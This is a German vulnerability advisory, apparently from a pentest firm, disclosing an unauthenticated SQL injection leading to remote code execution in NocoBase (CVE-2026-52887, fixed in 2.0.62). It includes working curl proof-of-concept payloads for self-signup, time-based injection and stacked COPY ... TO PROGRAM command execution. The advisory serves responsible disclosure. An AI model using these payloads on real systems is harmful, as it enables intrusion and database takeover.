NocoBase: Unauthentifizierte SQL-Injection in myInAppChannels mit Folge RCE
Nicht authentifizierte Angreifer können über den ungefilterten $lt-Wert im filter-Parameter von /api/myInAppChannels:list SQL einschleusen und über gestapelte Anweisungen bis zur Codeausführung als postgres im Datenbank-Container eskalieren.
Advisory-ID: TP-2026-013
Produkt: NocoBase (Open-Source No-Code/Low-Code-Plattform zum Erstellen von Anwendungen und internen Tools)
Schwachstellentyp: SQL-Injection mit Folge Remote Code Execution (CWE-89)
CVE: CVE-2026-52887
CVSS 3.1: 10.0 (Kritisch) · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Betroffene Versionen: <= 2.0.60 (Plugin @nocobase/plugin-notification-in-app-message)
Behoben in: 2.0.62
Hersteller-Advisory: GHSA-p849-8hwh-84j9
Gemeldet: 26. Mai 2026
Zusammenfassung
NocoBase ist eine Open-Source No-Code/Low-Code-Plattform zum Erstellen von Anwendungen und internen Tools. Der Endpunkt GET /api/myInAppChannels:list nimmt einen filter-Parameter entgegen; für das Feld latestMsgReceiveTimestamp setzt der Handler den übergebenen $lt-Wert direkt in ein Sequelize.literal()-Template ein, ohne ihn zu maskieren oder als Bind-Parameter zu binden. Da die Standard-ACL den Endpunkt jedem angemeldeten Benutzer freigibt und die Standardkonfiguration die anonyme Registrierung erlaubt, kann sich ein nicht authentifizierter Angreifer selbst ein Konto anlegen und die Injection auslösen. Über das Simple-Query-Protokoll des pg-Treibers lassen sich mehrere Anweisungen stapeln, und weil die mitgelieferte docker-compose.yml der Datenbankrolle Superuser-Rechte gibt, führt COPY ... TO PROGRAM Shell-Befehle als Betriebssystem-Benutzer postgres im Datenbank-Container aus. Im Ergebnis eskaliert eine anonyme Anfrage zu Remote Code Execution. turingpoint hat den Ablauf verifiziert und verantwortungsvoll an den Hersteller gemeldet.
Ursache
In packages/plugins/@nocobase/plugin-notification-in-app-message/src/server/defineMyInAppChannels.ts wird der latestMsgReceiveTimestamp-Filter über Sequelize.literal() gebildet, indem der $lt-Wert ungefiltert in den SQL-Template-String der Form <spalten-SQL> < <wert> interpoliert wird, ohne ihn zu maskieren oder als Bind-Parameter zu binden. Der $lt-Wert stammt unverändert aus dem filter-Query-Parameter der Anfrage. Die Standard-ACL (app.acl.allow('myInAppChannels', '*', 'loggedIn')) stellt den Endpunkt jedem angemeldeten Benutzer bereit, und die Standardeinstellung allowSignUp: true lässt einen anonymen Angreifer ein solches Konto anlegen. Da der pg-Treiber im Simple-Query-Protokoll gestapelte Anweisungen akzeptiert, reicht die Injection über reines Auslesen von Daten hinaus bis zu beliebigen SQL-Statements. Weil die ausgelieferte docker-compose.yml der Datenbankrolle rolsuper=true zuweist, lässt sich über COPY ... TO PROGRAM Shell-Code als Benutzer postgres im Datenbank-Container ausführen.
Proof of Concept
Voraussetzung ist eine erreichbare NocoBase-Instanz mit aktivierter Standard-Registrierung:
# 1) Anonyme Registrierung (Standardkonfiguration erlaubt Self-Signup):
curl -X POST -H "Content-Type: application/json" \
-d '{"username":"a","password":"P!ssw0rd1","confirm_password":"P!ssw0rd1"}' \
http://target:13000/api/auth:signUp?authenticator=basic
TOKEN=$(curl -sX POST -H "Content-Type: application/json" \
-d '{"account":"a","password":"P!ssw0rd1"}' \
http://target:13000/api/auth:signIn?authenticator=basic | jq -r .data.token)
# 2) Zeitbasiertes Injection-Orakel ueber den $lt-Filter:
curl -sG -H "Authorization: Bearer $TOKEN" -H "X-Authenticator: basic" \
"http://target:13000/api/myInAppChannels:list" \
--data-urlencode "filter[latestMsgReceiveTimestamp][\$lt]=0) AND 1882=(SELECT 1882 FROM PG_SLEEP(5))-- a"
# 3) Stacked-Statement-RCE via COPY ... TO PROGRAM:
curl -sG -H "Authorization: Bearer $TOKEN" -H "X-Authenticator: basic" \
"http://target:13000/api/myInAppChannels:list" \
--data-urlencode "filter[latestMsgReceiveTimestamp][\$lt]=0); COPY (SELECT 1) TO PROGRAM 'id > /tmp/PWN_VERIFY.txt'; --"
# Ergebnis im DB-Container:
# uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)
Schritt 2 verzögert die Antwort um fünf Sekunden und belegt damit die Injection; Schritt 3 schreibt die Ausgabe von id in eine Datei im Datenbank-Container und bestätigt die Codeausführung als postgres.
Auswirkung
- Boolean-, zeitbasierte und Stacked-Statement-SQL-Injection ohne vorherige Berechtigung (anonyme Registrierung genügt).
- Auslesen beliebiger Daten aus allen Tabellen, einschließlich Passwort-Hashes und Administratordaten.
- Ausführung von Shell-Befehlen als Benutzer
postgresim Datenbank-Container überCOPY ... TO PROGRAM. - Vollständige Kompromittierung von Vertraulichkeit, Integrität und Verfügbarkeit der Datenbank sowie Übernahme des Administratorkontos.
Referenzen
Steckt so etwas in Ihrer Software?
Diese Schwachstelle hat unser Team im Rahmen seiner Arbeit gefunden. Lassen Sie Ihre Anwendungen von denselben Spezialisten prüfen, mit einem Penetrationstest von turingpoint.
